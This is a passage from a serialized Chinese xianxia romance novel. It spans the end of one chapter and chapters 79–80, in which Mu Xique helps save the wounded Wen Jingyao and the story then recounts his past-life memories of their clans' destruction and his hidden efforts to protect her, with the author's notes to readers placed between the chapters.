越疏棠又道:“慕二小姐,我不知你们到底有什么矛盾,我也不会去问,但闻少主也救了海外仙岛,我和阿妹欠他恩情,无论如何,都得去试试。” “随你。” 慕夕阙出了门,甲板上无人,她独身站在护栏前,望向下方已平静的海域,自打重生来她就没歇过几日,绞尽脑汁想尽办法杀仇人,搞垮鹤阶,为慕家谋个生路。 打架,杀人,算计,又活回了上辈子的模样,除了日子比那时好过了些,能吃饱穿暖,不用整日钻林子才能休息会儿,似乎没什么不同。 ……不对,还有闻惊遥。 她见到的是十七岁的闻惊遥,是对她专情耐心,有些许少年气的闻少主,不是冷漠无情,杀伐果断的东浔闻家家主,执掌十三州的圣尊。 闻惊遥命大,她捅了几十剑都没捅死他,他怎么可能会死? 慕夕阙只觉得一股无名的火气堵在肺腑里,让她无端烦躁,他怎么能死这么早,他应该赎完所有罪,最后被她手刃,她要将他千刀万剐,闻惊遥怎么能死得这么容易? “二小姐。” 身后有人喊她。 慕夕阙深吸口气,闭上眼平息火气,转身看过去。 来者是宋云岫,一个八九岁的孩子。 见慕夕阙看来,宋云岫不好意思笑笑:“迟姑娘和我兄长在守着闻少主,我看你出来了,我就也跟着过来了。” 她走上前,摊开掌心,露出攥着的东西。 “这是我兄长替闻少主换衣时候掉出来的,是一根没雕完的玉簪,我想着应是给你的。” 慕夕阙不爱戴玉饰,她穿衣打扮都喜张扬夺目,爱金饰,并不适合这般素雅的饰品,所以闻惊遥用了血红的玉。 “我兄长告诉我,在学宫时候先生说过,十三州的男子会送女子发簪,意为结发为夫妻,这块玉里面似乎有一只玉灵的力量,应是闻少主将玉拿去让青鸾授力后才雕刻的。” 宋云岫顿了顿,又道:“我听闻再有四个月便是二小姐的十八岁生辰了,想必是生辰礼。” 慕夕阙忽然反应过来。 再有四月便是她的十八岁生辰,闻惊遥只比她大三个月,他的生辰应是下月。 他们都要十八岁了。 慕夕阙看着那根尚未雕完的玉簪,在尚未订婚前,闻惊遥并未送过她簪子,他这个人很是守规矩,知晓男子送女子簪子是何意思,也不会越距。 因此往年慕夕阙的生辰,他送过莲衣阁的华裳、倦天涯的匕首、灵宝阁的夜明珠,以及他废了不少心力寻来的剑谱等等,都是慕夕阙喜欢的东西。 在无法下山的那十年,这些生辰礼都是他提前托人备好,让庄漪禾送来的。 后来闻少主出了清心观,慕夕阙十五岁、十六岁和十七岁的生辰礼,都是他亲自送来。 直到今年订婚后,闻少主送了她金簪,但那是买来的东西。 在她的十八岁生辰,闻少主打算送她亲刻的玉簪,他请青鸾留下了一缕玉灵之力,这根簪子便已是万金难寻。 宋云岫抬了抬手:“二小姐,你要收下吗?” 其实不等慕夕阙回答,宋云岫已经将玉簪塞到她的手中:“既是闻少主送你的礼物,等他醒来,由二小姐转交给他是最好的。” 慕夕阙没说话,她垂眸看着手中的玉簪,玉质温润,她用过不少好东西,能摸出这发簪的玉质上乘。 闻惊遥是很节俭的一个人,他总是一身素衣,浑身上下除了那把剑值钱些,并无昂贵之物,丝毫不像个世家子弟。 唯独在慕二小姐身上,他从不曾吝啬,小到一根玉簪,大到建立在闻家主宅的画墨阁。 灵舟驶向梅枝雪所在的岛屿,慕夕阙未去看闻惊遥,她始终站在甲板上。 海外仙岛的虚空中留有禁制,从十三州来的灵舟飞不起来,只有这艘特制的,用来往返十三州和海外仙岛的灵舟可以飞起。 两个时辰后,灵舟落在了梅枝雪的岛屿。 宋云霁背着闻惊遥下舟,慕夕阙看见了闻惊遥。 脸色苍白,长睫紧闭,无知无觉。 越疏棠来到她身边,侧眸看她:“二小姐,走吧。” 瘴雾似乎淡了许多,他们在上山的路上看到了杂乱的脚印,慕夕阙能辨别出来,有一群人上了山,但又下山了,应是燕如珩。 山顶的竹楼仍安静伫立,从他们上山那刻,梅枝雪便觉察到了,她仍旧是昨日的那身玄色纱衣,站在竹楼前安静看着他们。 越疏棠上前一步:“前辈,抱歉又来扰您清修,慕二小姐和闻少主与人大战,此刻重伤——” “进来。”梅枝雪并未听完,只淡淡看了眼沉默的慕夕阙,转身朝竹楼内走去。 宋云霁忙背着闻惊遥跟上,几人也紧随其后。 梅枝雪指使宋云霁将闻惊遥放在榻上,随后指了指门:“你们都出去。” 几人转身便要往外走,慕夕阙也准备离开,刚走出一步,梅枝雪看向她:“你留下。” 慕夕阙并未多问,颔首应下,拉了把椅子坐下。 越疏棠几人并未多问,走出关门,守在院内。 屋内只有他们三人,梅枝雪上下扫了眼慕夕阙,并未把脉便直接道:“你的身子亏损许多,外面的事情我大致也知晓,你用了十二辰?” “嗯。” “你没有性命危险,自己吃点药。”梅枝雪将一个瓷瓶甩过去,医仙的药可远比慕家买的那些灵丹见效。 慕夕阙也不推辞,倒了几颗灵丹咽下。 梅枝雪坐在榻边,替闻惊遥诊脉。 慕夕阙问:“夜迢呢?” “后院。” “你们结婚契了?” “嗯。” “他将比翼鸟的心脏给你了?” “嗯。” 慕夕阙看梅枝雪的眼神复杂:“我走前给你留的东西,没看吗?” “看了。”梅枝雪回道。 她看了,但是她还是结了这个婚契。 慕夕阙盯着她的侧脸看了许久,忽然笑了一声,别过头望向窗外,红唇微启,低声道:“何必呢?” 梅枝雪似乎听到了,却又像没听到,她并未回应。 这脉她诊了足有两刻钟,天下能让医仙诊上两刻钟的脉,也就这独一份了,越是诊治,梅枝雪的眉头皱得越紧,在那根安神的香燃尽后,她慢慢收回手。 慕夕阙仍看着窗外,漠不关心。 梅枝雪起身,说道:“他的身上重伤太多,你们摔进海里,应当掉进了旋涡,大多伤都在他身上,心脉断了七成,应当活不了,可他体内有股强大的力量替他拽回了快散的神识。” 慕夕阙皱眉,这次有了反应,别过头看去。 “应是鲲救了你们,它喂了闻惊遥玉灵的血,保住了他的命。”梅枝雪补充道,转而又道,“他的脉搏心跳都停了,但没死,我梅家老祖留下的医书上有过相似的记录,像是神魂快要散去又被强行拽回的模样。” “你知道的,人死后神魂会散去,闻惊遥伤得确实很重,但鲲吊住了他的命。” 慕夕阙冷声开口:“所以他现在快死了,但还剩一口气。” 梅枝雪颔首:“嗯。” 屋子里安静沉寂,慕夕阙垂眸,目光落在青砖上,她一言不发,看不出有伤心,却也瞧不出欢喜。 梅枝雪说道:“能救,魂魄在识海里,可世家子弟大多在出生后,便被家主在神魂上布下禁制,禁止有人擅闯识海夺取家族机密,我可以教你布下定神阵,你们是结了婚契的道侣,只有你布下的定神阵才能打开他的识海,他认你。” 即使他们未说,但瞒不过医术了得的梅枝雪,婚契一查便能看出。 “慕二小姐,你救他吗?”梅枝雪淡声问。 “不救。” 慕夕阙忽然站起,转身往外走,她打开门,大步离开。 院里等候的越疏棠几人都愣住,看得出来她的脸色森寒,似乎憋着气。 梅枝雪没拦,她站在敞开大门的殿内,看慕夕阙越走越远。 也看到慕夕阙越走越慢,直至停下,离竹楼外的结界只有一步。 越疏棠几人看着她的背影,无一人开口。 慕夕阙闭上眼,拳头攥得极尽,指甲几乎掐进掌心里,她憋了百年的火气好似在此刻全数涌出,她告诉自己,他死就死,闻惊遥迟早得死。 她为什么要费力去救他,何必呢,这么一个背叛她、给她找了不少麻烦的人,这世上她最恨的人,为何她要救他? 梅枝雪耐心看着,慕夕阙独身在外站了许久,末了,她又转身,朝竹楼走去。 慕夕阙进入殿内,关上房门,拉了把椅子坐在榻边,冷声道:“他还有罪没赎完,要死也不能现在死。” 梅枝雪无声叹气:“待会儿你按照我教的布阵,布完阵立马出来,在阵内你的识海也会被迫打开。” 慕夕阙没说话。 梅枝雪见过许多魂魄有异的病患,就是没遇见过闻惊遥这种神魂都离体过,愣是在散去前被鲲给拉回来的,但对付这种魂魄有异的病患,定神阵是唯一的法子。 慕夕阙学得也快,过目不忘。 梅枝雪出门,在院内等候。 整栋竹楼外拔地而起几道光柱,随后圆形结界覆盖在竹楼上方,屋内,以闻惊遥为中心,自他周身溢出浅淡的金光。 慕夕阙看他一眼,起身便要离开,刚站起身,有人拽住她的手腕,一股猛力将她拽到榻上,重重摔在闻惊遥身上。 方才闭目的人竟然睁开了眼,双目相对的那一刻,慕夕阙好似看到了前世的闻惊遥。 他捧住她的脸,侧首吻上她的唇。 “夕阙……” 慕夕阙腰间的十二辰与闻惊遥榻边的天罡篆嗡鸣几声,微弱的光自两个神器上涌出。 院内的梅枝雪脸色一冷:“不好。” 越疏棠抬步便要跃进屋内,被梅枝雪拽住。 “阵法已经打开,你进去只会让他们被反噬,现如今没办法,守在这里,不能让任何人进!” 宋云岫不知发生了什么,小声问:“二小姐不出来,会怎么样啊?” 梅枝雪冷声道:“她的识海也会打开,两个人同在一个阵内,神魂容易混在一起,而且……” 她仰起头,望向竹楼外的阵法,眉头皱起:“似乎有天罡篆和十二辰的气息,这两个神器不是掏空神力休眠了吗?” 作者有话说:宝宝们今天还有一章哦,下一章我还在写,从昨晚就一直在思考该怎么写前世,写了三版打开方式,最后还是觉得,以男主视角去写前世会更好些。 男女主的误会主要在于,我们一直在以小慕的视角去看待这些事,那么两人冰释前嫌,最好的法子就是让小慕去看到小闻的视角,任何人告诉他们真相,都不如小慕亲眼见到。 小慕重生确实跟两个神器有关,一章不一定能写完小闻的视角,如果更晚了大家可以先不用等,我写完就发了,有可能在凌晨[撒花] 提前预警,会虐!非常之虐! 第79章 第 79 章 遗忘 奉秋七百一十年, 祭墟动荡,一根天柱已碎。 闻惊遥和慕夕阙奉命前去镇压祭墟。 从祭墟出来后,慕夕阙扶着树呕出了一口血, 两人在里面待了半月,彼此的身上都是大大小小的伤, 神器掏空灵力后, 带给神器之主的反噬是远超过皮肉伤的。 闻惊遥擦去唇边的血,上前问道:“夕阙,还能走吗?” 慕夕阙颔首, 躲开他伸来的手:“没事,我得先回慕家。” 闻惊遥垂眸,并未再触碰她。 三年前慕夕阙才愿意理闻惊遥, 两人时常会见一面, 但自打他当了十三州圣尊后, 他便能敏锐觉察出慕夕阙与他的嫌隙。 这段关系破裂了两年, 纵使和好, 也仍有裂纹。 灵舟停在密林尽头,慕夕阙一路匆匆往外走,闻惊遥不知她为何这般急着回去, 在祭墟的时候,他也能觉察出慕夕阙有些过于急躁, 她拼命修补禁制, 想要赶快出来。 慕夕阙传了几则讯息,都未有回应, 朝蕴、姜榆、以及慕家长老们的玉符都未有人接,仿佛有件十分不好的事发生了,她再走不得路, 朝着密林尽头急速奔移。 闻惊遥不明所以,但还是跟在她身后:“夕阙,怎么了?” 慕夕阙不说话,她不可能告诉闻惊遥她在担心什么,除了慕家人外,无人知晓金龙靠十二辰供给,这时候便是淞溪慕家最脆弱之时。 刚从密林尽头跃出,迎面飞来一个修士,见她出来匆匆道:“二小姐,刚得到消息,慕家昨夜遭祟种夜袭,起了大火!” 慕夕阙忽然停下,闻惊遥瞳眸微颤,他们看着对面的上百修士,似乎都是得知淞溪出事后前来传信的。 “夕阙……”闻惊遥下意识去看慕夕阙。 可眼前一花,她已经冲出去,她跳上灵舟,掌舵去往淞溪。 闻惊遥来不及多想,也上了另一艘灵舟追上去,两人先后到了琼筵山。 琼筵山是十三州最高的一座山,枝繁叶茂,郁郁葱葱,灵兽遍地,此刻琼筵山下聚集了不少百姓。 见她回来,淞溪百姓痛哭喊道:“二小姐,您回来了!” 慕夕阙丢下灵舟,看也未看他们,直奔山顶。 闻惊遥紧追在她身后,他咬紧牙关,嘴里全是血,可也不能停,他看着慕夕阙纤细的背影。 在靠近淞溪的时候,他们便知晓结果了。 整个淞溪在落雪,庄稼全部冻坏,这就像片雪境,玉灵若在,淞溪不会变成这幅模样。 金龙不在了。 不仅金龙不在了,慕家也不在了。 那场大火已熄灭,落下的血交融在燃烧过后的灰烬里,遍地的黑融入了一些白,刺眼得令人不忍直视。 慕夕阙有些过于冷静了,她一滴泪没掉,在偌大主宅转了个遍,一个活口都没找到,于是她上了山,劈下一块山石,竖在门前当做墓碑。 她跪在碑前,衣衫染血,遍体鳞伤。 闻惊遥在那一刻,只想让她哭出来。 “夕阙,你哭出来,你得哭出来……” 这一句话像是点燃了她,她起身推开他,打他骂他,让他滚出淞溪,她见不得这个鹤阶圣尊在淞溪地界,也没有办法。 “滚!从淞溪滚出去!滚回你的鹤阶,滚!” 捅穿右心的剑冰冷刺骨,伤其实不疼,这对早已习惯了受伤的闻惊遥而言,并不算什么,可她的眼神让他难以承受,那种极致的恨和绝望。 重伤的闻惊遥无法追上慕夕阙,她跑得太快了,闻惊遥不知道她去了哪里,他下意识以为她要去鹤阶,于是他也追去。 慕夕阙没有去鹤阶,鹤阶甚至只有三成的人在。 那她去了哪里? 到处都找不到她,闻惊遥找了她两日,他甚至没注意自己的闻家玉符早已丢失在路上,他找遍所有能找到慕夕阙的地方,可都没有她。 于是他再次回了淞溪,那里已被大雪覆盖,街上人烟稀少。 有人见到他来,哭着上前说:“圣尊,您这是跑什么呢,赶紧回东浔啊!” 东浔? 闻惊遥抬手想找自己的玉符,低头一看,挂在腰间的玉符早已不知丢在哪里,或许是丢在祭墟,或许是丢在找慕夕阙的路上。 没有玉符,闻家就无法联络他。 于是他疯了般朝东浔去,灵舟在靠近东浔地界之时,他见到了同样的雪,一场大雪覆盖了整个东浔地界,远在万里之外,淞溪也在下雪。 那是怎样的惨案? 那座城塌了,有几十万人、固若金汤的东浔主城,它塌了。 闻惊遥看到青鸾的火燃烧过的痕迹,一座座房屋倒塌,被尘土掩埋,他越过残垣断壁,一路去往内城,这一路上他见到不少尸身,有烧成焦炭辨认不出模样的,也有被活生生砸死的闻家弟子和百姓们。 偌大主城,他没见到一个人。 一个人都没有。 闻承禺早在许多年前便料到会有此劫难,因此他会用自己的死打消敌人的怀疑,召唤出青鸾的灵体,为这座城挥出最后的杀招,率领死去闻家弟子的亡灵烧尽整个外三城,摧毁那些掩埋的祟种。 但闻承禺想不到,有人能险恶到敢灭城。 在靠近雾璋山的路上,闻惊遥见到了活下来的人。 百姓们或跪或坐,见他来了,也无人上前,他们满身尘埃,面如死灰。 并不是灭城时候他们侥幸活了下来,而是鹤阶和几大世家有意留他们一命。 闻惊遥站在那里,一个蓬头垢面的男人忽然冲上前,一拳砸在闻惊遥的脸上。 “都怪你们闻家!鹤阶有意救援,闻承禺死守城门不肯放那些世家进来,你们知道城里有秽毒吗!秽毒感染了上万人啊,立即祟化的都有上百人,仅剩的弟子根本拦不住,于是鹤阶他们用了不渡刀!” 他们仍无法忘记,鹤阶、千机宗、以及几个前来救援的世家站在结界外,望着被祟种屠戮的东浔主城,沉痛却又无可* 奈何的表情。 “抱歉,我们进不去主城,结界玉灵也快拦不住了,你们中有太多感染秽毒的人,且已经有祟种诞生,祟种若逃出城便会带来大患,你们想办法往雾璋山跑,那里离青鸾近。” 几大世家共同祭出了不渡刀,东浔主城连带着那些祟种一同覆灭,只有他们这些拼命跑向雾璋山的人,在青鸾的庇佑下,侥幸活了下来。 有人冲上来打闻惊遥,闻惊遥动也不动,望着他们身后的雾璋山。 已经没有雾璋山了,那座山塌了。 灭城之灾,青鸾会出山护佑这座城,在八极阵聚成的那一刻,它便无法坐视不理了。 于是青鸾出山,撞向了那把刀,护佑了仅剩的几万百姓。 闻惊遥挣开所有人,纵使这些人在打他,朝他身上砸石头,砸雪团,他仍走向人群之后,走向东浔百姓围着的庞然巨物。 那是闻惊遥第一次见到青鸾的本体,也是最后一次。 那只体长不可估量的神鸟有一双硕大的羽翼,身覆流羽,朱喙修颈,这只活在《十三州史》,活在东浔百姓心中的神鸟,便是三岁的孩子都能描述出它的模样,百姓们供奉了它的神像,它也一直在庇佑东浔岁丰年稔。 “青鸾死了!青鸾它死了啊!你们闻家奉命镇守青鸾,你们守到哪里了!” “闻承禺为什么不开城门让救援进来!为什么不开城门!” “你还当这个十三州圣尊,你连家都护不住,你还护什么十三州!” 闻惊遥来到青鸾身边,他似乎听不见百姓的怒骂,无视他们疯狂朝他砸来的器物,纵使砸在额上,砸在脸上,将他打得鲜血淋漓,都不如心里痛。 他抬手触碰青鸾的羽,那只玉灵有整个闻家主宅大,可如今这只强大的玉灵已闭上双眸,再也无法发出啼鸣,它的福泽全数消失,无法再庇佑这座城。 天灾来临。 闻惊遥垂眸,看到自己的脚边滴落的血水,以及几颗莹亮的泪花,融化了满地霜雪。 青鸾死了。 对闻惊遥来说,整个闻家灭门,闻承禺和庄漪禾全都死去,他都能咬碎了牙,咽下满腔的血站直,再难都能走下去。 可青鸾它死了,他奉若神灵,比他的生命重要,比整个闻家和东浔主城都要重要的青鸾,它死了。 闻惊遥无法站直,他甚至无法站立,仿佛有人打碎了他的脊骨,他跪在地上,额头抵着青鸾凉透的羽。 哽咽的哭声太小了,但足以让那些百姓听清。 他们在那一刻无法再向他扔石头,只能捂住自己的脸,抱住自己仅剩的亲人,或跪在地上拥抱这只死去的玉灵,低声啜泣。 闻惊遥在青鸾的尸身旁跪了一夜,第二日,他听到了通天鼓的声音。 他在那一刻想,他还是不懂她,慕夕阙并未去找鹤阶报仇,她去敲了通天鼓,她要向整个十三州告发。 可他们都太过年轻,不知何为蛇鼠一窝。 闻惊遥拼了命地往通天鼓跑,路程太远了,她不接他的玉符,于是他只能乘上灵舟,竭力赶去。 但他这一生,或许总在错过。 慕夕阙年轻到不知人心险恶,她第一次冲动,害自己被鹤阶围杀。 当她跳下悬崖,师盈虚也在季观澜等人去下游堵人后,纵身跃下,在慕夕阙卷入暗流前捞起了她,背着自己的挚友爬上悬崖,一刻也不敢停地窜入山林中。 季观澜就追在她们身后,闻惊遥赶到之时,两方一个在山顶,一个在山腰,以季观澜的修为,追上师盈虚只需要两刻钟。 闻惊遥提剑站在密林尽头,他安安静静看着林子,看到里头迅速窜出的几道黑影。 季观澜带人跃出密林,看见那道在月色下单薄修长,模糊却又威压逼人的身影,他已完全不像过去那个闻惊遥,一身青衫上全是血,高束的马尾仅有一根染血的发带。 “……圣尊?” 闻惊遥抬眸看过去。 他如此无能,无法守住慕家,无法守住闻家,连青鸾也失去了,如今能做的事情,似乎只有这一件了。 在季观澜愣神的时候,眼前一花,青影迅速逼上,长剑转眼间割破了一人的喉咙。 寒剑映出一双凛然的眼眸,眼底的杀意前所未有的强盛。 她的前路不会再有他了,那么她的后路,他来守。 师盈虚送慕夕阙去了码头,那里会过去往海外仙岛的船,这一路上她们在前面跑,闻惊遥在后面截杀鹤阶的人。 师盈虚提心吊胆提防的事都未发生,她顺利将慕夕阙送上了灵舟。 闻惊遥也上了那艘灵舟,在她昏迷之时他无法放心,他戴着一顶兜帽守在她身边,临到下舟时,她终于醒了,他就坐在船舱内,看慕夕阙踉跄朝外走去。 他并不担心慕夕阙在海外仙岛活不下去。 慕夕阙是有一口气都能站起来的人,她坚韧无匹,一定会想办法活下去。 这里有宽广的海域,有成群鱼虾,有淳朴的渔民,十三州的势力无法渗透海外仙岛,这是能让她活下来的地方。 “夕阙。” 闻惊遥看着她摇晃的背影。 “就别再回来了。” 走了,就不要再回来了。 这肮脏的十三州,永远也别再回来。 灵舟再次返航,去往十三州,或许掌舵的老者也不懂,他为何买了张票来海外仙岛,却又连灵舟都没下,又买了张票回去。 为什么要回去呢? 闻惊遥不得不回去,人总得冲动一次,他冷静了二十多年,在此刻也无法再那般漠然理智,顾全大局。 他在那晚提剑走入鹤阶,从门口一路杀进去,并未有一个长老露面,直到他闯入长老殿。 长老殿内坐了乌泱泱上百人,尽头的人却是他从未见过的人,一身黑衣,面具覆脸。 十三州圣尊听着光荣,实际除了手握天罡篆,他并不过问鹤阶的事,隐约查到鹤阶背后有个人在,今日却也是第一次见。 兰洵歪歪斜斜坐在高台,瞧见他出现后笑了一声:“圣尊这是去了何处?几日都没回来。” 闻惊遥漠然看着他。 兰洵竖起一根手指,对他摇了摇:“圣尊还是莫要冲动,你杀不完我们,也杀不了我,还是说你既不想要自己的命,也不打算要东浔百姓的命了?” 闻惊遥执剑的手攥紧,剑柄上的沟壑膈在掌心。 兰洵单手托腮,笑着道:“闻家派出一半弟子去往附近的村镇郡县,那些弟子还活着,秽毒在主城内涌出,不少修士身上有秽毒吧。” 他们用如此轻飘飘的语气来说这些话,偌大的长老殿内坐了上百人,这些人面如恶鬼,皆都看着他一个人。 “你既杀不完我们,还会白白搭上东浔主城几万人的性命,和你闻家仅剩的弟子,孰轻孰重,圣尊想不到吗?” 兰洵站起身,负手而立,说道:“我有能力化祟,也有能力镇压秽毒不发作,我可以留下那些百姓,保他们不会化祟,东浔主城会再次重建,但也希望圣尊好好当好这个十三州圣尊,拿着你的天罡篆,替我们做些事。” 他并不等闻惊遥的回答,眨眼间便到了面前,兰洵单手打在闻惊遥肩头,将他重重击出,脊背摔在汉白玉柱上,一连砸碎几根。 闻惊遥眉心微蹙,旋身站起,兰洵却再次逼至身前,全盛的渡劫对上一个刚镇压过祭墟、接连打了几日的化神,几乎是碾压的存在。 兰洵抬手,灵力窜入闻惊遥的识海。 “不过圣尊还是忘了些事情吧,毕竟执掌十三州刑罚,无情些最好。” 什么能吞噬人记忆的毒药,便是那毒药的配方也是兰洵告知燕如珩的,这世上能有此能力强行闯入识海,撕扯神魂,剥离记忆的人,也就这个活了万年的老怪物了。 闻惊遥忘记过慕夕阙两年。 他自醒来便被告诉是十三州圣尊,紧接着便是继任闻家家主,没有任何记忆。 他知道自己有个未婚妻,似乎失踪了。 他知道自己是闻家少主,东浔被祟种攻城,闻家遭遇灭门,青鸾为庇佑百姓死了。 他还知道东浔主城内尚有身染秽毒的弟子和散修,因此整座城被封禁,这些人只能生活在那座城池,兰洵告诉他是为了提防有人化祟,危害十三州,能让这些感染秽毒的人活着,已是鹤阶开恩,他必须顾全大局。 除了主城的百姓,无人知晓青鸾已死,这些百姓也出不了城,无人告知他东浔是被不渡刀覆灭的,那些人合伙瞒着他。 东浔主城与外界隔绝,连他这个家主也无法再回去,鹤阶告诉他,这是因为东浔百姓对他心有怨怼,恐他回去惹他们不快。 失去玉灵的城池应当会天灾不断,可兰洵却能保整个东浔有玉灵之力庇佑,闻惊遥想不明白那是为何。 每月,从东浔城内会递来卷册,那是需要闻惊遥这个家主过目的东西。 闻惊遥手持圣尊令,确实也在尽心竭力执掌刑罚。 只是每当看见那些长老,仍会觉得心里不适,有时他也会觉得自己奇怪,鹤阶长老对他分外尊敬,弟子也对他唯命是从,整个十三州都对他信任有加,赞赏不绝。 只是每次旁人提及慕家,提及他那位未婚妻,他便无端觉得心口一阵酸。 闻惊遥问过慕家的事。 鹤阶告知他,慕家手持十二辰,却不愿用于镇压祭墟,是十三州强求后才得以让慕家松口,在慕夕阙去镇压祭墟之时,慕家遭祟种夜袭,淞溪玉灵死于庇佑慕家。 鹤阶告诉他,慕家一直对当年慕峥和慕从晚的事耿耿于怀,慕夕阙对鹤阶恨之入骨,妄图动摇鹤阶根基。 鹤阶告诉他许多事,闻惊遥其实并不信。 他派人找过慕夕阙,杳无音讯,连慕夕阙的旧友都联系不上,师盈虚并不信他,问了就说自己并不知道慕夕阙的下落。 闻惊遥说不清自己到底在不快什么,又在寻求什么,他甚至想不起来慕家那位二小姐的脸。 慕家二小姐,慕夕阙,他的未婚妻,她长什么样子? 闻惊遥去过淞溪,那里已经快成了空城,大雪不断,曾经高耸翠绿的琼筵山也成了座雪山,他看到了烧毁的慕家,以及那块竖立的石碑。 闻惊遥在琼筵山顶,见到了一株冒着翠芽的果树,这太过荒谬,整个琼筵山顶都被雪覆盖,大寒足以冻坏所有植株,唯独这棵果树尚有一分生机。 他带回了这棵树,将它种在住处后的那处空地上。 闻惊遥两年未回东浔主城,连闻承禺和庄漪禾的忌日都没回过,他整日待在鹤阶,住在鹤阶最远最高的一栋小院里,除了处理事务外不见人,打坐修炼,修为节节攀升。 闻家出事的第三年春,他从淞溪带回来的那株果树结了果子。 他从未见过这般模样的果子,长得色彩艳丽,瞧着像是有毒。 可那时鬼迷心窍了般,他真的摘下一颗果子,咬了一口。 辛辣苦涩,烧得整个唇齿间都是火辣辣的疼,但在咽下去后,却又品出了一份甜。 一颗果子,让他想起了一个人。 ——这是我们琼筵山独有的果子,是当年抵御祟难后出现在琼筵山上的,它生长在金龙栖息的山谷旁,于是慕家为它赋名匡恶,我请你吃个果子,你要记住这果子的味道。 匡恶,匡恶。 匡恶扶正。 天荆地棘的大道,只有走到头才会品出一份甜,这是她说的话。 他怎么就忘了呢? 闻惊遥弯下腰,他抖着手捂住自己的眼睛,在无人的院里,他哽咽痛哭,他的每一根骨头都在那一刻被打碎了般,这两年来做的所有事都毫无意义。 他怎么能忘记慕夕阙呢? 他怎么能忘记东浔,忘记爹娘,忘记青鸾呢? 当晚,闻惊遥去了东浔主城,那是鹤阶每月为他带来闻家事务的日子。 他守在主城外面等了一夜,都未见到里头有人传送东西出来。 天刚亮,闻惊遥回了鹤阶,在他的门前摞了一箩筐卷宗。 送东西的弟子拱手道:“圣尊,这是闻家这一月的卷宗。” 闻惊遥问他:“什么时候拿到的?” 弟子道:“今日清晨,闻家派人送出来的。” 闻惊遥颔首:“嗯,好。” 弟子走了,只剩下一箩筐的“卷宗”。 闻惊遥在那一刻,觉得自己就是个笑话,他看着那箩筐所谓的卷宗,这两年来他每月批阅的东西,尽心处理的“事务”,忽然弯腰笑了起来。 他觉得自己要疯了,看着那堆卷宗,竟然越笑声音越大。 什么事务,什么东浔闻家,什么东浔主城。 全都是假的。 那座城早就没了,那些人也早就死了,鹤阶和那些蝇营狗苟的世家们怎会放他们活着,给他们机会对外到处说鹤阶的不是? 所有活着的百姓都看到了是鹤阶操控不渡刀灭的城,他们会被青鸾的死一时冲昏头脑,怨恨闻家,怨恨闻惊遥,却不会一直糊涂,总有人会清醒。 他们会明白—— 其实错的不是闻家,从始至终,都是贪欲在作祟。 于是兰洵让感染秽毒的修士全数化祟,将这座城封起来,让里头成为人间炼狱。 东浔主城不是座与世隔绝的城池,那是座死城。 闻惊遥能做什么呢? 他无法阻止感染秽毒的那上百个人化祟,无法护住仅剩的百姓,他甚至连自己都护不住,他忘记了一切。 他只有二十七岁,只是一个化神境修士,又怎么会知道,鹤阶背后的人竟然是个活了万年的渡劫? 那些人在他和慕夕阙为了十三州的安危,跳入祭墟镇压秽毒的时候,同时攻了慕、闻两家,杀了淞溪和东浔的玉灵。 他和慕夕阙都失去了一切。 作者有话说:这就是小慕视角在看小闻这边的事情了,定神阵内两个人的记忆是敞开的,小闻知道小慕的视角,小慕也知道小闻的视角,其实还没写完,今天先更这一章,明天我看能不能一次性把这点交代完,以及小慕重生的原因,可能也会有点虐。 前面东浔的事情,上一世也确实发生了,青鸾火烧了整个外三城,但是闻家主是没料到鹤阶敢灭城的,于是上一辈子东浔主城其实真的被不渡刀覆灭了,青鸾也死了,这一辈子有师家的镇铃破阵,以及慕家和小慕相助,东浔主城是保下来了。 小慕在海外仙岛的那五年,她是不知道十三州的事情的,所以其实俩都是苦瓜,只是视角不同~ 第80章 第 80 章 “一定要对我再狠些。”…… 闻惊遥再次听到慕夕阙的消息, 是慕、闻两家灭门的第五年。 旷悬在玉符中禀报:“圣尊,前些时日留守码头的弟子有信传来,有两人从海外仙岛而来, 其中一位像是慕二小姐。” 窗外在落雨,淅淅沥沥的雨沿着支开的轩窗落下, 这里太静了, 闻惊遥能听到一滴雨水落下的声音,也能听到自己如雷的心跳声。 他看不进去手中的书,也听不到旷悬的声音。 “圣尊?圣尊?” 旷悬一连喊了几遍, 闻惊遥垂眸,淡声应道:“嗯,怎么了?” 旷悬那边顿了下, 轻声说道:“慕二小姐刚到十三州, 方家便出了事, 加之她独掌十二辰, 但这些年来并未帮忙镇压祭墟, 前些年补好的禁制又开始破碎了,咱们……” 闻惊遥能听出旷悬的试探,看似对他这个圣尊敬仰有加, 实际整个鹤阶都在提防他,若非他在这些人眼里“失忆”了, 怕是这些事都不会经过闻惊遥的手。 “嗯, 那以长老所见呢?”闻惊遥的声音无波无澜,好似慕夕阙这个人对他来说无关紧要。 “慕二手持十二辰, 还因着慕从晚和慕峥的事情怨恨鹤阶,如今更是将慕家灭门的事都归咎于鹤阶身上,此番回来定是来复仇的, 为了十三州安稳和鹤阶根基稳定,圣尊,您这未婚妻怕是留不得了。” 旷悬是来请求他下追杀慕夕阙的命令吗? 不,鹤阶只是来试探他,慕夕阙踏足十三州的那一刻,鹤阶便已经做了追杀的决定了。 闻惊遥听到自己说:“出动圣尊令,全十三州抓捕,带回鹤阶,我亲自审。” 旷悬那边似乎笑了下,他低声道:“是,圣尊。” 闻惊遥已经几月未曾出过这院子了,他坐在窗边,从窗外吹进来的风裹挟了森寒的雨水,春雨料峭。 有五年未得到她的消息了,从想起她的那一刻,这三年里他活得暗无天日,梦魇与仇恨时刻裹挟着他,唯有还活着的她是他走下去的力量。 他每日念着她,盼着她。 海外仙岛的日头太晒,慕二小姐受得住吗? 海外仙岛的蔬菜不多,爱吃鱼虾,慕二小姐吃得习惯吗? 海外仙岛离十三州太远了,慕二小姐会不会想家,会不会难过呢? 闻惊遥放下书,望向窗外,斜落的雨丝细如牛毛,他见了太多场雨了,这雨好似也下到了心里。 她明明去了海外仙岛,又为什么要回来? 闻惊遥执掌十三州刑罚与缉凶,圣尊令调动的不仅是鹤阶弟子,还有鹤阶和一部分世家的暗探,这些人全数听他调令,若得知消息,第一个知晓的会是闻惊遥。 这是他能保全她的唯一法子,他作为圣尊执掌刑罚,缉凶是他首当其冲,不得让旷悬这些长老去带兵。 慕夕阙回来没有和任何旧友联系,包括师盈虚。 在返回十三州的第三日,她杀了不归谷的两人,这两人与当年慕峥出事息息相关,闻惊遥已顺藤摸瓜查到了燕家和千机宗,可慕夕阙动手比他早。 慕夕阙不会按兵不动,等到将所有人抓出来一并杀害,她不知道自己能活多久,于是在活着的每一日,能杀一个是一个。 可闻惊遥在等,他从小便稳重,等一个能将这些人一并手刃的机会。 